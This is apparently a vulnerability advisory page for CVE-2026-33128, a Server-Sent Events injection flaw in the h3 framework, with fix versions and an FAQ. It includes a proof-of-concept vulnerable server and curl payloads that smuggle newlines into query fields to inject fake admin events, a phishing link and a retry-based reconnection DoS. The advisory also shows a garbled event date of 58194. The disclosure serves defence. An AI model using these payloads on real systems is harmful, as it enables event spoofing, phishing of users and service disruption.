CVE-2026-33128: h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields

Published Mar 18, 2026
·
Updated

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

typescript export function formatEventStreamComment(comment: string): string { return : ${comment}\n\n; }

export function formatEventStreamMessage(message: EventStreamMessage): string { let result = ""; if (message.id) { result += id: ${message.id}\n; } if (message.event) { result += event: ${message.event}\n; } if (typeof message.retry === "number" && Number.isInteger(message.retry)) { result += retry: ${message.retry}\n; } result += data: ${message.data}\n\n; return result; }

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives 2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one 3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS) 4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format: Actual wire format (with \n injection):

event: message event: message data: attacker: hey event: admin ← INJECTED data: ALLUSERSHACKED ← INJECTED data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended: Actual (with \n\n injection):

event: message event: message data: bob: hi data: bob: hi ← event boundary event: system ← INJECTED event data: Reset: evil.com ← INJECTED data

Before exploit: <img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />

<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

typescript import { H3, createEventStream, getQuery } from "h3"; import { serve } from "h3/node";

const app = new H3(); const clients: any[] = [];

app.get("/events", (event) => { const stream = createEventStream(event); clients.push(stream); stream.onClosed(() => { clients.splice(clients.indexOf(stream), 1); stream.close(); }); return stream.send(); });

app.get("/send", async (event) => { const query = getQuery(event); const user = query.user as string; const msg = query.msg as string; const type = (query.type as string) || "message";

for (const client of clients) { await client.push({ event: type, data: ${user}: ${msg} }); }

return { status: "sent" }; });

serve({ fetch: app.fetch });

Exploit

bash 1. Inject fake "admin" event via event field curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

2. Inject separate phishing event via data field curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

3. Inject retry directive for reconnection DoS curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message event: admin data: ALLUSERSCOMPROMISED data: attacker: legit

The browser's EventSource fires this as an admin event with data ALLUSERSCOMPROMISED — entirely controlled by the attacker.

Proof:

<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />

<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

- Cross-user content injection — inject fake messages in chat applications - Phishing — inject fake system notifications with malicious links - Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system) - Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms - Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

Other sources

H3 is a minimal H(TTP) framework. In versions prior to 1.15.6 and between 2.0.0 through 2.0.1-rc.14, createEventStream is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients. This issue is fixed in versions 1.15.6 and 2.0.1-rc.15.

MITRE

Affected Software

17 affected componentsFixes available
npm/h3<1.15.6
1.15.6
npm/h3>=2.0.0<=2.0.1-rc.14
2.0.1-rc.15
H3 H3 Node.js<1.15.6
H3 H3 Node.js=2.0.0
H3 H3 Node.js=2.0.1-rc10
H3 H3 Node.js=2.0.1-rc11
H3 H3 Node.js=2.0.1-rc12
H3 H3 Node.js=2.0.1-rc13
H3 H3 Node.js=2.0.1-rc14
H3 H3 Node.js=2.0.1-rc2
H3 H3 Node.js=2.0.1-rc3
H3 H3 Node.js=2.0.1-rc4
H3 H3 Node.js=2.0.1-rc5
H3 H3 Node.js=2.0.1-rc6
H3 H3 Node.js=2.0.1-rc7
H3 H3 Node.js=2.0.1-rc8
H3 H3 Node.js=2.0.1-rc9

Event History

Mar 18, 2026
Advisory Published
via GitHub·04:17 PM
Data Sourced
via GitHub·04:17 PM
DescriptionSeverityWeaknessAffected Software
Mar 20, 2026
CVE Published
via MITRE·09:37 AM
Data Sourced
via MITRE·09:37 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 29, 58194
Event
via FIRST·10:22 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-33128?

CVE-2026-33128 is considered a moderate severity vulnerability due to the potential for Server-Sent Events (SSE) injection.

2

How can I fix CVE-2026-33128?

To fix CVE-2026-33128, update the h3 package to version 1.15.6 or version 2.0.1-rc.15 or later.

3

What impact does CVE-2026-33128 have on my application?

CVE-2026-33128 allows attackers to inject arbitrary data into SSE messages, which could lead to data manipulation or unintended behavior in the application.

4

Which versions of h3 are affected by CVE-2026-33128?

CVE-2026-33128 affects h3 versions prior to 1.15.6 and versions between 2.0.0 and 2.0.1-rc.14.

5

Is CVE-2026-33128 easy to exploit?

Yes, CVE-2026-33128 can be easily exploited by attackers who control specific message fields in Server-Sent Events.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203